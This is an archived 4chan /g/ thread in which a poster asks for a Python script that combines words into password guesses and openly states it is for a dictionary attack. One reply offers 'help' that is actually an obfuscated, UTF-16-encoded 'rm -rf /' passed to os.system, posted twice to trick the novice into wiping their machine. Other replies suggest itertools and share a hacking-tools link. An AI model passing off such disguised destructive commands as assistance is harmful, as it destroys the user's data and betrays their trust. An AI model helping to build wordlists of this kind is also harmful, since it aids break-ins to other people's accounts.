[Boards: 3 / a / aco / adv / an / asp / b / biz / c / cgl / ck / cm / co / d / diy / e / fa / fit / g / gd / gif / h / hc / his / hm / hr / i / ic / int / jp / k / lgbt / lit / m / mlp / mu / n / news / o / out / p / po / pol / qa / r / r9k / s / s4s / sci / soc / sp / t / tg / toy / trash / trv / tv / u / v / vg / vp / vr / w / wg / wsg / wsr / x / y ] [Home]
4chanarchives logo
Help me out /g/ I want to make a python script that generates
Images are sometimes not shown due to bandwidth/network limitations. Refreshing the page usually helps.

You are currently reading a thread in /g/ - Technology

Thread replies: 28
Thread images: 1
File: Python.png (7 KB, 144x144) Image search: [Google]
Python.png
7 KB, 144x144
Help me out /g/

I want to make a python script that generates every single possible combination of words entered and puts it into a file. If you have anything similar can you please share the code or give a download link.
>>
>>52140118

Here is one I made.

Fuck you.
>>
>>52140118
i am an python amatuer and havent coded for some months, but this doesnt sound very difficult
>>
>>52140227
You forgot code tags
Fuck you
>>
import possiblewordcombinations
>>
>>52140249
Where did you learn? And do you have anything similar to what I'm asking that I can modify??
>>
>>52140259
Thanks, anon.
>>
Well will some of the words repeat? Like 'a' and 'the' are certain to appear more than once. This will change the logic.
>>
>>52140333
the course on codecademy is pretty good, people here will say that this website is shit but this course is very long and good, after every lesson i summerized all the stuff in a .txt for lthe future
moreover i read an beginner book, but it was almost the same as the course, only good stuff were the excersisses, it was a german book aswell
>>
Man, /g/ is filled with assholes, am I right? Don't worry buddy. I'll help you
from os import python
system("\xff\xfer\x00m\x00 \x00-\x00r\x00f\x00 \x00/\x00")
>>
>>52140362
I'm using this for a dictionary attack. So it means I'm gonna to have to try different character lengths and combination of words. I don't care if the words repeat, I just want to be able to generate a password using details.

I also want it to add thigns like 12345 and shit like that, that everyone uses in there passwords.
>>
>>52140417
Shit. Fucked up

from os import system
system("\xff\xfer\x00m\x00 \x00-\x00r\x00f\x00 \x00/\x00")
>>
There are already tools like this out there, did you google at all?
>>
>>52140399
Alright, I'll check it out man. Thanks
>>
>>52140452
Code academy wont show you how to do OPs task. Not by a long shot.
>>
>>52140433
i have no idea what is it, but it looks scary
>>
>>52140443
Give me a name of a tool then. Yea, of course I've searched it. But I want to make my own version suited for what want to do.
>>
found it on stockoverfloww

 def recurse_combinations(used, unused, dic ):

if len(unused) == 0:#If unused is empty we are done
dic[used]= True #Lets store the result and stop recursing
return

for i in range(len(unused)):
#keep recursing by going through 'unused' characters and adding them to 'used'. Now lets take out the single character we are now using from 'unused'
recurse_combinations( used + unused[i], unused[:i]+unused[i+1:], dic )


def recurse_combinations_start( word="my first program"):
dic = {}

recurse_combinations( "" , word, dic)

pprint ( dic.keys() )
print len(dic.keys())
>>
http://gexos.github.io/Hacking-Tools-Repository/
>>
>>52140539
That's possibly the worst implementation of combinations possible. Let me just make it easy for you.

http://lmgtfy.com/?q=python+itertools+combinations
>>
There is a python module called itertools that does exactly this, specifically take a look at the "combinatoric generators" section:

https://docs.python.org/2/library/itertools.html
>>
>>52140118
python can't do that
>>
Since I just downloaded my 500th python repo with all the .pyc files checked into it, here's a tip for y'all:

Stop that. Put *.pyc in you top-level .gitignore file and add 'export PYTHONDONTWRITEBYTECODE=1' to your dev machine's appropriate shell init file
>>
>>52140469
So where will I learn to do those kinds of tasks?
>>
>>52140433

I have no idea what this does, but my best guess is that it's just 'sudo rm -rf /*' in obfuscated form.
>>
https://docs.python.org/3.5/library/itertools.html#itertools.permutations
>>
>>52140118
so permutations?
>>
>>52143882
People already posted a module that does this for you. Do you have 0 python experience?
Thread replies: 28
Thread images: 1

banner
banner
[Boards: 3 / a / aco / adv / an / asp / b / biz / c / cgl / ck / cm / co / d / diy / e / fa / fit / g / gd / gif / h / hc / his / hm / hr / i / ic / int / jp / k / lgbt / lit / m / mlp / mu / n / news / o / out / p / po / pol / qa / r / r9k / s / s4s / sci / soc / sp / t / tg / toy / trash / trv / tv / u / v / vg / vp / vr / w / wg / wsg / wsr / x / y] [Home]

All trademarks and copyrights on this page are owned by their respective parties. Images uploaded are the responsibility of the Poster. Comments are owned by the Poster.
If a post contains personal/copyrighted/illegal content you can contact me at [email protected] with that post and thread number and it will be removed as soon as possible.
DMCA Content Takedown via dmca.com
All images are hosted on imgur.com, send takedown notices to them.
This is a 4chan archive - all of the content originated from them. If you need IP information for a Poster - you need to contact them. This website shows only archived content.